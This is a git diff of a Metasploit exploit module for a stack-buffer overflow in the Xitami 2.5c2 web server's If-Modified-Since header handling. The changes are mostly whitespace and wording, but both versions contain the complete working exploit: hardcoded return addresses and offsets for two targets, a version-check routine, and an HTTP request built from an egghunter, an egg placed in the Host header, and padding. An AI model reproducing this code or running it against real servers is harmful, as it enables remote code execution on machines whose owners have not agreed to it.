diff --git a/modules/exploits/windows/http/xitami_if_mod_since.rb b/modules/exploits/windows/http/xitami_if_mod_since.rb index 0b80f05985..f506e9f20e 100644 --- a/modules/exploits/windows/http/xitami_if_mod_since.rb +++ b/modules/exploits/windows/http/xitami_if_mod_since.rb @@ -15,21 +15,20 @@ module Msf class Exploits::Windows::Http::Xitami_If_Mod_Since < Msf::Exploit::Remote - include Exploit::Remote::Tcp - include Exploit::Remote::Egghunter + include Exploit::Remote::Tcp + include Exploit::Remote::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => 'Xitami 2.5c2 Web Server If-Modified-Since Overflow', 'Description' => %q{ - This module exploits a stack overflow in the iMatix Corporation - Xitami xigui32.exe Web Server. If a malicious user sends an - If-Modified-Since header containing an overly long string, it may be - possible to execute a payload remotely. Due to size constraints, - this module uses the Egghunter technique. You may wish to adjust - WfsDelay appropriately. + This module exploits a stack overflow in the iMatix Corporation + Xitami Web Server. If a malicious user sends an If-Modified-Since + header containing an overly long string, it may be possible to + execute a payload remotely. Due to size constraints, this module uses + the Egghunter technique. You may wish to adjust WfsDelay appropriately. }, - 'Author' => 'patrick', + 'Author' => 'patrick', 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => @@ -51,9 +50,9 @@ class Exploits::Windows::Http::Xitami_If_Mod_Since < Msf::Exploit::Remote 'Platform' => ['win'], 'Targets' => [ - # Patrick - Both tested OK 20070928 - w2ksp0, w2ksp4, xpsp0, xpsp2 en. - [ 'xigui32.exe Universal', { 'Ret' => "\xff\xce\x44", 'Offset' => 40 } ], # 0x0044ceff ret xigui32.exe - [ 'xitami.exe Universal', { 'Ret' => "\xf2\xc1\x47", 'Offset' => 68 } ], # 0x0047c1f2 ret xitami.exe + # Patrick - Both tested OK 20070928 - w2ksp0, w2ksp4, xpsp0, xpsp2 en. + [ 'xigui32.exe Universal', { 'Ret' => "\xff\xce\x44", 'Offset' => 40 } ], # 0x0044ceff ret xigui32.exe + [ 'xitami.exe Universal', { 'Ret' => "\xf2\xc1\x47", 'Offset' => 68 } ], # 0x0047c1f2 ret xitami.exe ], 'DisclosureDate' => 'Sep 24 2007', 'DefaultTarget' => 0)) @@ -68,7 +67,7 @@ class Exploits::Windows::Http::Xitami_If_Mod_Since < Msf::Exploit::Remote connect sock.put("GET / HTTP/1.1\r\n\r\n") banner = sock.get(-1,3) - disconnect + disconnect if (banner =~ /Xitami/) return Exploit::CheckCode::Appears @@ -77,23 +76,23 @@ class Exploits::Windows::Http::Xitami_If_Mod_Since < Msf::Exploit::Remote end def exploit - connect - - hunter = generate_egghunter - egg = hunter[1] - - sploit = "GET / HTTP/1.1\r\n" - sploit << "Host: " + egg + egg + payload.encoded + "\r\n" - sploit << "If-Modified-Since: " + Rex::Arch::X86.jmp_short(3) + ", " - sploit << hunter[0] + rand_text_alphanumeric(target['Offset']) + target['Ret'] - - sock.put(sploit + "\r\n\r\n") - - print_status("Waiting for payload to execute...") + connect + + hunter = generate_egghunter + egg = hunter[1] + + sploit = "GET / HTTP/1.1\r\n" + sploit << "Host: " + egg + egg + payload.encoded + "\r\n" + sploit << "If-Modified-Since: " + Rex::Arch::X86.jmp_short(3) + ", " + sploit << hunter[0] + rand_text_alphanumeric(target['Offset']) + target['Ret'] + + sock.put(sploit + "\r\n\r\n") + + print_status("Waiting for payload to execute...") handler disconnect - end + end end end